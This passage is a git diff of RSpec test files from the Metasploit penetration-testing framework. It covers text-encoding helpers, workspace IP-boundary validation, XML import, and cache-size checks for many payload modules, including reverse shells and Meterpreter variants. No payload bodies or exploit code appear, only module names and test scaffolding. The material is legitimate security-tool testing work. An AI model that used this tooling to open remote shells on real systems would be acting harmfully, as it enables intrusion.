- - context ".to_octal" do - it "should convert all chars 00 through ff" do - expect(described_class.to_octal("\x7f"*100)).to eq("\\177"*100) - - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_octal = (0..0xff).map {|c| "\\%o"%(c) }.join - expect(described_class.to_octal(all_chars)).to eq(all_octal) - end - it "should use the given prefix" do - expect(described_class.to_octal("\x7f"*100, "foo")).to eq("foo177"*100) - - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_octal = (0..0xff).map {|c| "test%o"%(c) }.join - expect(described_class.to_octal(all_chars, "test")).to eq(all_octal) - end - end - - context ".to_hex" do - it "should convert all chars 00 through ff" do - expect(described_class.to_hex("\x7f"*100)).to eq("\\x7f"*100) - - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_hex = (0..0xff).map {|c| "\\x%02x"%(c) }.join - expect(described_class.to_hex(all_chars)).to eq(all_hex) - end - it "should use the given prefix" do - expect(described_class.to_hex("\x7f"*100, "foo")).to eq("foo7f"*100) - - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_hex = (0..0xff).map {|c| "test%02x"%(c) }.join - expect(described_class.to_hex(all_chars, "test")).to eq(all_hex) - end - end - - context ".to_hex_ascii" do - it "should handle non-printables" do - non_print = (0x7f..0xff).map {|c| [c].pack("C") }.join - non_print_hex = (0x7f..0xff).map {|c| "\\x%02x"%(c) }.join - expect(described_class.to_hex_ascii(non_print)).to eq(non_print_hex) - - expect(described_class.to_hex_ascii("\x00")).to eq("\\x00") - expect(described_class.to_hex_ascii("\x1f")).to eq("\\x1f") - expect(described_class.to_hex_ascii("\x00"*100)).to eq("\\x00"*100) - end - it "should not mess with printables" do - expect(described_class.to_hex_ascii("A")).to eq("A") - expect(described_class.to_hex_ascii("A\x7f")).to eq("A\\x7f") - end - end - - context ".gzip" do - it "should return a properly formatted gzip file" do - str = described_class.gzip("hi mom") - expect(str[0,4]).to eq("\x1f\x8b\x08\x00") # Gzip magic - # bytes 4 through 9 are a time stamp - expect(str[10..-1]).to eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00") - end - end - - context ".ungzip" do - it "should return an uncompressed string" do - gzip = "\x1f\x8b\x08\x00" - gzip << "\x00" * 6 - gzip << "\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00" - expect(described_class.ungzip(gzip)).to eq("hi mom") - end - end - - context ".rand_surname" do - it "should return a random surname" do - expect(described_class::Surnames).to include(described_class.rand_surname) - end - end - - context ".rand_name" do - it "should return a random name" do - names = described_class::Names_Female + described_class::Names_Male - expect(names).to include(described_class.rand_name) - end - end - - context ".rand_name_female" do - it "should return a random female name" do - expect(described_class::Names_Female).to include(described_class.rand_name_female) - end - end - - context ".rand_name_male" do - it "should return a random male name" do - expect(described_class::Names_Male).to include(described_class.rand_name_male) - end - end - - context ".rand_mail_address" do - it "should return a random mail address" do - names = described_class::Names_Female + described_class::Names_Male - surnames = described_class::Surnames - tlds = described_class::TLDs - - # XXX: This is kinda dirty - mail_address = described_class.rand_mail_address.split("@").map { |x| x.split(".") } - name, surname = mail_address.first.first, mail_address.first.last - domain, tld = "example", mail_address.last.last # Poor man's stubbing to preserve TLD - - expect(names).to include(name) - expect(surnames).to include(surname) - expect(domain).to eq("example") - expect(tlds).to include(tld) - end - end - - context ".randomize_space" do - let (:sample_text) { "The quick brown sploit jumped over the lazy A/V" } - let (:spaced_text) { described_class.randomize_space(sample_text) } - it "should return a string with at least one new space characater" do - expect(spaced_text).to match /[\x09\x0d\x0a]/ - end - - it "should not otherwise be mangled" do - normalized_text = spaced_text.gsub(/[\x20\x09\x0d\x0a]+/m, " ") - expect(normalized_text).to eq(sample_text) - end - end - - context ".cowsay" do - - def moo(num) - (%w(moo) * num).join(' ') - end - - it "should cowsay single lines correctly" do - cowsaid = < - --------------------- - \\ ,__, - \\ (oo)____ - (__) )\\ - ||--|| * -EOCOW - expect(described_class.cowsay(moo(5))).to eq(cowsaid) - end - - it "should cowsay two lines correctly" do - cowsaid = < {workspace.send(:valid_ip_or_range?, ip_or_range)} + end + + context 'with exception from Rex::Socket::RangeWalker' do + before(:example) do + allow(Rex::Socket::RangeWalker).to receive(:new).with(ip_or_range).and_raise(StandardError) + end + + it { is_expected.to raise_error(StandardError) } + end + + context 'without exception from Rex::Socket::RangeWalker' do + context 'with valid IP' do + let(:ip_or_range) do + '192.168.0.1' + end + + it { is_expected.to be_truthy } + end + end + end + end + + + it_should_behave_like 'Mdm::Workspace::Boundary' +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 0bbe2cf9d3..c8a585b115 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -45,6 +45,26 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'aix/ppc/shell_reverse_tcp' end + context 'android/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/android/meterpreter_reverse_http' + ], + dynamic_size: true, + modules_pathname: modules_pathname, + reference_name: 'android/meterpreter_reverse_http' + end + + context 'android/meterpreter_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/android/meterpreter_reverse_tcp' + ], + dynamic_size: true, + modules_pathname: modules_pathname, + reference_name: 'android/meterpreter_reverse_tcp' + end + context 'android/meterpreter/reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -398,6 +418,26 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'bsdi/x86/shell_reverse_tcp' end + context 'cmd/mainframe/generic_jcl' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/cmd/mainframe/generic_jcl' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'cmd/mainframe/generic_jcl' + end + + context 'cmd/mainframe/reverse_shell_jcl' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/cmd/mainframe/reverse_shell_jcl' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'cmd/mainframe/reverse_shell_jcl' + end + context 'cmd/unix/bind_awk' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1034,6 +1074,16 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'java/shell_reverse_tcp' end + context 'linux/armbe/shell_bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/armbe/shell_bind_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/armbe/shell_bind_tcp' + end + context 'linux/armle/adduser' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1637,16 +1687,6 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'linux/x86/shell_reverse_tcp' end - context 'linux/x86/shell_reverse_tcp2' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/linux/x86/shell_reverse_tcp2' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/shell_reverse_tcp2' - end - context 'mainframe/shell_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2244,6 +2284,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'python/meterpreter/reverse_tcp' end + context 'python/meterpreter/reverse_tcp_ssl' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/python/reverse_tcp_ssl', + 'stages/python/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/reverse_tcp_ssl' + end + context 'python/meterpreter/reverse_tcp_uuid' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -4196,4 +4247,180 @@ RSpec.describe 'modules/payloads', :content do modules_pathname: modules_pathname, reference_name: 'windows/meterpreter/reverse_winhttps' end + + context 'linux/armle/mettle/bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/armle/bind_tcp', + 'stages/linux/armle/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/armle/mettle/bind_tcp' + end + + context 'linux/armle/mettle/reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/armle/reverse_tcp', + 'stages/linux/armle/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/armle/mettle/reverse_tcp' + end + + context 'linux/mipsbe/mettle/reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/mipsbe/reverse_tcp', + 'stages/linux/mipsbe/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/mettle/reverse_tcp' + end + + context 'linux/mipsle/mettle/reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/mipsle/reverse_tcp', + 'stages/linux/mipsle/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/mettle/reverse_tcp' + end + + context 'linux/x64/mettle/bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x64/bind_tcp', + 'stages/linux/x64/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x64/mettle/bind_tcp' + end + + context 'linux/x64/mettle/reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x64/reverse_tcp', + 'stages/linux/x64/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x64/mettle/reverse_tcp' + end + + context 'linux/x86/mettle/bind_ipv6_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_ipv6_tcp', + 'stages/linux/x86/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/mettle/bind_ipv6_tcp' + end + + context 'linux/x86/mettle/bind_ipv6_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_ipv6_tcp_uuid', + 'stages/linux/x86/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/mettle/bind_ipv6_tcp_uuid' + end + + context 'linux/x86/mettle/bind_nonx_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_nonx_tcp', + 'stages/linux/x86/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/mettle/bind_nonx_tcp' + end + + context 'linux/x86/mettle/bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_tcp', + 'stages/linux/x86/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/mettle/bind_tcp' + end + + context 'linux/x86/mettle/bind_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_tcp_uuid', + 'stages/linux/x86/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/mettle/bind_tcp_uuid' + end + + context 'linux/x86/mettle/find_tag' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/find_tag', + 'stages/linux/x86/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/mettle/find_tag' + end + + context 'linux/x86/mettle/reverse_ipv6_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_ipv6_tcp', + 'stages/linux/x86/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/mettle/reverse_ipv6_tcp' + end + + context 'linux/x86/mettle/reverse_nonx_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_nonx_tcp', + 'stages/linux/x86/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/mettle/reverse_nonx_tcp' + end + + context 'linux/x86/mettle/reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_tcp', + 'stages/linux/x86/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/mettle/reverse_tcp' + end + + context 'linux/x86/mettle/reverse_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_tcp_uuid', + 'stages/linux/x86/mettle' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/mettle/reverse_tcp_uuid' + end end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 90be4e8a0a..0859ab6424 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -1,4 +1,6 @@ # -*- coding: binary -*- +require 'stringio' + ENV['RAILS_ENV'] = 'test' unless Bundler.settings.without.include?(:coverage) @@ -114,3 +116,25 @@ end Metasploit::Framework::Spec::Constants::Suite.configure! Metasploit::Framework::Spec::Threads::Suite.configure! + +def get_stdout(&block) + out = $stdout + $stdout = tmp = StringIO.new + begin + yield + ensure + $stdout = out + end + tmp.string +end + +def get_stderr(&block) + out = $stderr + $stderr = tmp = StringIO.new + begin + yield + ensure + $stderr = out + end + tmp.string +end diff --git a/spec/support/shared/examples/mdm/workspace/boundary.rb b/spec/support/shared/examples/mdm/workspace/boundary.rb new file mode 100644 index 0000000000..36635da5e9 --- /dev/null +++ b/spec/support/shared/examples/mdm/workspace/boundary.rb @@ -0,0 +1,134 @@ +RSpec.shared_examples_for 'Mdm::Workspace::Boundary' do + context 'methods' do + let(:boundary) do + nil + end + + before(:example) do + workspace.boundary = boundary + end + + context '#addresses' do + subject(:addresses) do + workspace.addresses + end + + context 'with boundary' do + let(:boundary) do + expected_addresses.join("\n") + end + + let(:expected_addresses) do + [ + '10,10,10,10', + '192.168.0.1' + ] + end + + it 'should return addresses split on newline' do + expect(addresses).to eq(expected_addresses) + end + end + + context 'without boundary' do + let(:boundary) do + nil + end + + it 'should return an empty Array' do + expect(addresses).to eq([]) + end + end + end + + context '#boundary_must_be_ip_range' do + let(:error) do + 'must be a valid IP range' + end + + context 'with boundary' do + let(:boundary) do + '192.168.0.1' + end + + it 'should split boundary' do + expect(Shellwords).to receive(:split).with(boundary).and_call_original + + workspace.valid? + end + + context 'with error from Shellwords.split' do + before(:example) do + allow(Shellwords).to receive(:split).with(boundary).and_raise(ArgumentError) + end + + it 'should not raise error' do + expect { + workspace.valid? + }.to_not raise_error + end + + it 'should not record an error' do + workspace.valid? + + expect(workspace.errors[:boundary]).not_to include(error) + end + end + + context 'with empty' do + let(:boundary) do + '' + end + + it 'should not record an error' do + workspace.valid? + + expect(workspace.errors[:boundary]).not_to include(error) + end + end + + context 'without empty' do + let(:ranges) do + [ + '10.10.10.10', + '192.168.0.1' + ] + end + + let(:boundary) do + ranges.join(' ') + end + + it 'should validate each range' do + ranges.each do |range| + expect(workspace).to receive(:valid_ip_or_range?).with(range).and_call_original + end + + workspace.valid? + end + + context 'with invalid range' do + let(:ranges) do + [ + '192.168' + ] + end + + it 'should record error', :skip => 'https://www.pivotaltracker.com/story/show/43171927' do + expect(workspace).not_to be_valid + expect(workspace.errors[:boundary]).to include(error) + end + end + end + end + + context 'without boundary' do + it 'should not record error' do + workspace.valid? + + expect(workspace.errors[:boundary]).not_to include(error) + end + end + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb index 767b20b19f..0774a62ae6 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb @@ -54,6 +54,10 @@ RSpec.shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts [ pub_blank, pub_pub, pub_pri] } + let(:socket_error) { + ::SocketError.new("getaddrinfo: nodename nor servname provided, or not known") + } + it { is_expected.to respond_to :connection_timeout } it { is_expected.to respond_to :cred_details } it { is_expected.to respond_to :host } @@ -101,6 +105,12 @@ RSpec.shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts end context 'host' do + before do + allow(::Rex::Socket).to receive(:getaddress).with('192.168.1.1.5', true).and_raise(socket_error) + allow(::Rex::Socket).to receive(:getaddress).with('192.168', true).and_return('192.0.0.168') + allow(::Rex::Socket).to receive(:getaddress).with('192.300.675.123', true).and_raise(socket_error) + allow(::Rex::Socket).to receive(:getaddress).with('nosuchplace.metasploit.com', true).and_raise(socket_error) + end it 'is not valid for not set' do expect(login_scanner).to_not be_valid diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index 7c320dcfd8..ad5236f5f8 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -27,7 +27,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end let(:document) do - REXML::Document.new(source) + Nokogiri::XML::Reader.from_memory(source) end let(:element) do @@ -132,7 +132,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end subject(:metadata) do - db_manager.send(:check_msf_xml_version!, document) + db_manager.send(:check_msf_xml_version!, Nokogiri::XML(document.source).elements.first.name) end it_should_behave_like( @@ -175,7 +175,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do context '#import_msf_text_element' do let(:parent_element) do - document.root + Nokogiri::XML(document.source).elements.first end let(:child_name) do @@ -252,7 +252,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do context 'import_msf_web_element' do let(:element) do - document.root + Nokogiri::XML(document.source).elements.first end let(:options) do @@ -575,11 +575,12 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf_web_element specialization' context 'specialization return' do let(:element) do - document.root + Nokogiri::XML(document.source).elements.first end let(:source) do @@ -619,7 +620,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do context 'with required attributes' do let(:element) do - document.root + Nokogiri::XML(document.source).elements.first end let(:source) do @@ -675,7 +676,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do context 'specialization return' do let(:element) do - document.root + Nokogiri::XML(document.source).elements.first end let(:source) do @@ -774,7 +775,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do context 'with required attributes' do let(:element) do - document.root + Nokogiri::XML(document.source).elements.first end let(:source) do @@ -846,7 +847,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do context 'specialization return' do let(:element) do - document.root + Nokogiri::XML(document.source).elements.first end let(:source) do @@ -949,7 +950,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do context 'with required attributes' do let(:element) do - document.root + Nokogiri::XML(document.source).elements.first end let(:source) do diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index 688b9d2b36..d1c44ad302 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -301,8 +301,6 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform context 'with ref keyword' do @@ -702,7 +700,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do let(:modification_time) do # +1 as rand can return 0 and the time must be different for # this context. - super() - (rand(1.day) + 1) + 1.days.ago end it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' @@ -1152,4 +1150,4 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/module/search.rb b/spec/support/shared/examples/msf/module/search.rb index 18d8cb1c1e..f504b23eb9 100644 --- a/spec/support/shared/examples/msf/module/search.rb +++ b/spec/support/shared/examples/msf/module/search.rb @@ -1,6 +1,6 @@ RSpec.shared_examples_for 'Msf::Module::Search' do describe '#search_filter' do - REF_TYPES = %w(CVE BID OSVDB EDB) + REF_TYPES = %w(CVE BID EDB) shared_examples "search_filter" do |opts| accept = opts[:accept] || [] diff --git a/spec/support/shared/examples/rex/encoder/alpha2/generic.rb b/spec/support/shared/examples/rex/encoder/alpha2/generic.rb deleted file mode 100644 index 7dcdf4a463..0000000000 --- a/spec/support/shared/examples/rex/encoder/alpha2/generic.rb +++ /dev/null @@ -1,65 +0,0 @@ -RSpec.shared_examples_for 'Rex::Encoder::Alpha2::Generic' do - - describe ".encode_byte" do - subject(:encoded_byte) { described_class.encode_byte(block, badchars) } - - context "when too many badchars" do - let(:block) { 0x41 } - let(:badchars) { (0x00..0xff).to_a.pack("C*") } - - it "raises an error" do - expect { encoded_byte }.to raise_error(RuntimeError) - end - end - - context "when encoding is possible" do - let(:block) { 0x41 } - let(:badchars) { 'B' } - - it "returns two-bytes encoding" do - expect(encoded_byte.length).to eq(2) - end - - it "returns encoding without badchars" do - badchars.each_char do |b| - is_expected.to_not include(b) - end - end - end - - end - - describe ".encode" do - subject(:encoded_result) { described_class.encode(buf, reg, offset, badchars) } - let(:buf) { 'ABCD' } - let(:reg) { 'ECX' } - let(:offset) { 0 } - - context "when too many badchars" do - let(:badchars) { (0x00..0xff).to_a.pack("C*") } - - it "raises an error" do - expect { encoded_result }.to raise_error(RuntimeError) - end - end - - context "when encoding is possible" do - let(:badchars) { '\n' } - - it "returns encoding starting with the decoder stub" do - is_expected.to start_with(described_class.gen_decoder(reg, offset)) - end - - it "returns encoding ending with terminator" do - is_expected.to end_with(described_class.add_terminator) - end - end - end - - describe ".add_terminator" do - subject(:terminator) { described_class.add_terminator } - - it { is_expected.to eq('AA') } - end - -end diff --git a/spec/support/shared/examples/rex/encoder/ndr/wstring.rb b/spec/support/shared/examples/rex/encoder/ndr/wstring.rb deleted file mode 100644 index e2216dbe6d..0000000000 --- a/spec/support/shared/examples/rex/encoder/ndr/wstring.rb +++ /dev/null @@ -1,18 +0,0 @@ -RSpec.shared_examples_for "Rex::Encoder::NDR.wstring" do - let(:string) { "ABCD" } - - it "encodes the argument as null-terminated unicode string" do - is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00") - end - - it "starts encoding string metadata" do - expect(subject.unpack("VVV")[0]).to eq(string.length + 1) - expect(subject.unpack("VVV")[1]).to eq(0) - expect(subject.unpack("VVV")[2]).to eq(string.length + 1) - end - - it "ends with padding to make result length 32-bits aligned" do - is_expected.to end_with("\x00" * 2) - expect(subject.length).to eq(24) - end -end diff --git a/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb b/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb deleted file mode 100644 index 9414f2a4a0..0000000000 --- a/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb +++ /dev/null @@ -1,39 +0,0 @@ -RSpec.shared_examples_for "Rex::Encoder::NDR.wstring_prebuild" do - context "when 2-byte aligned string length" do - let(:string) { "A\x00B\x00C\x00" } - - it "encodes the argument as null-terminated unicode string" do - is_expected.to include("A\x00B\x00C\x00") - end - - it "starts encoding string metadata" do - expect(subject.unpack("VVV")[0]).to eq(string.length / 2) - expect(subject.unpack("VVV")[1]).to eq(0) - expect(subject.unpack("VVV")[2]).to eq(string.length / 2) - end - - it "ends with padding to make result length 32-bits aligned" do - is_expected.to end_with("\x00" * 2) - expect(subject.length).to eq(20) - end - end - - context "when 2-byte unaligned string length" do - let(:string) { "A\x00B\x00C" } - - it "encodes the argument as null-terminated unicode string" do - is_expected.to include("A\x00B\x00C\x00") - end - - it "starts encoding string metadata" do - expect(subject.unpack("VVV")[0]).to eq((string.length + 1) / 2) - expect(subject.unpack("VVV")[1]).to eq(0) - expect(subject.unpack("VVV")[2]).to eq((string.length + 1) / 2) - end - - it "ends with padding to make result length 32-bits aligned" do - is_expected.to end_with("\x00" * 2) - expect(subject.length).to eq(20) - end - end -end \ No newline at end of file diff --git a/spec/support/shared/examples/xor_encoder.rb b/spec/support/shared/examples/xor_encoder.rb deleted file mode 100644 index 0819250501..0000000000 --- a/spec/support/shared/examples/xor_encoder.rb +++ /dev/null @@ -1,37 +0,0 @@ -# -*- coding: binary -*- -RSpec.shared_examples_for 'an xor encoder' do |keysize| - - it "should encode one block" do - # Yup it returns one of its arguments in an array... Because spoon. - encoded, key = described_class.encode("A"*keysize, "A"*keysize) - expect(encoded).to eql("\x00"*keysize) - - encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize) - expect(encoded).to eql("\xff"*keysize) - - encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize) - expect(encoded).to eql("\x88"*keysize) - end - - it "should encode multiple blocks" do - 2.upto 50 do |count| - encoded, key = described_class.encode("\xf7"*keysize*count, "\x7f"*keysize) - expect(encoded).to eql("\x88"*keysize*count) - end - end - - if keysize > 1 - it "should deal with input lengths that aren't a multiple of keysize" do - expect { - encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize) - expect(encoded).to eql("\x00"*(keysize+1)) - }.not_to raise_error - - expect { - encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize) - expect(encoded).to eql("\x00"*(keysize-1)) - }.not_to raise_error - end - end - -end diff --git a/spec/tools/dev/msftidy_spec.rb b/spec/tools/dev/msftidy_spec.rb new file mode 100644 index 0000000000..bf9f115f85 --- /dev/null +++ b/spec/tools/dev/msftidy_spec.rb @@ -0,0 +1,48 @@ +require 'spec_helper' + +load Metasploit::Framework.root.join('tools/dev/msftidy.rb').to_path + +RSpec.describe Msftidy do + context "with a tidy auxiliary module" do + let(:auxiliary_tidy) { File.expand_path('modules/auxiliary/auxiliary_tidy.rb', FILE_FIXTURES_PATH) } + let(:msftidy) { Msftidy.new(auxiliary_tidy) } + + before(:each) do + @msftidy_stdout = get_stdout { msftidy.run_checks } + end + + it "outputs nothing" do + expect(@msftidy_stdout).to be_empty + end + end + + context "with an untidy auxiliary module" do + let(:auxiliary_untidy) { File.expand_path('modules/auxiliary/auxiliary_untidy.rb', FILE_FIXTURES_PATH) } + let(:msftidy) { Msftidy.new(auxiliary_untidy) } + + before(:each) do + @msftidy_stdout = get_stdout { msftidy.run_checks } + end + + it "ERRORs when invalid superclass" do + expect(@msftidy_stdout).to match(/ERROR.*Invalid super class for auxiliary module/) + end + + it "WARNINGs when specifying Rank" do + expect(@msftidy_stdout).to match(/WARNING.*Rank/) + end + end + + context "with a tidy payload module" do + let(:payload_tidy) { File.expand_path('modules/payloads/payload_tidy.rb', FILE_FIXTURES_PATH) } + let(:msftidy) { Msftidy.new(payload_tidy) } + + before(:each) do + @msftidy_stdout = get_stdout { msftidy.run_checks } + end + + it "outputs nothing" do + expect(@msftidy_stdout).to be_empty + end + end +end diff --git a/spec/tools/egghunter_spec.rb b/spec/tools/egghunter_spec.rb index efcebca0e1..d56dac3ecf 100644 --- a/spec/tools/egghunter_spec.rb +++ b/spec/tools/egghunter_spec.rb @@ -1,6 +1,5 @@ load Metasploit::Framework.root.join('tools/exploit/egghunter.rb').to_path - -require 'stringio' +require 'spec_helper' RSpec.describe Egghunter do @@ -16,17 +15,6 @@ RSpec.describe Egghunter do describe '#run' do - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end - let(:default_opts) { { :platform => 'windows', :format => 'c', :eggtag => egg, :arch => 'x86' } } diff --git a/spec/tools/md5_lookup_spec.rb b/spec/tools/md5_lookup_spec.rb index 528f7863cd..889038b531 100644 --- a/spec/tools/md5_lookup_spec.rb +++ b/spec/tools/md5_lookup_spec.rb @@ -1,4 +1,5 @@ load Metasploit::Framework.root.join('tools/password/md5_lookup.rb').to_path +require 'spec_helper' require 'rex/proto/http/response' require 'stringio' @@ -70,17 +71,6 @@ RSpec.describe Md5LookupUtility do end end - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end - # # Tests start here # @@ -321,7 +311,7 @@ RSpec.describe Md5LookupUtility do let(:opts) { subject.parse(valid_argv) } before(:example) do - allow(File).to receive(:exists?).and_return(true) + allow(File).to receive(:exist?).and_return(true) end it 'returns the input file path' do @@ -340,7 +330,7 @@ RSpec.describe Md5LookupUtility do context 'when the required input file is not set' do before(:example) do - allow(File).to receive(:exists?).and_return(false) + allow(File).to receive(:exist?).and_return(false) end it 'raises an OptionParser::MissingArgument error' do diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb deleted file mode 100644 index 92229f7049..0000000000 --- a/spec/tools/msu_finder_spec.rb +++ /dev/null @@ -1,662 +0,0 @@ -load Metasploit::Framework.root.join('tools/exploit/msu_finder.rb').to_path - -require 'nokogiri' -require 'uri' - 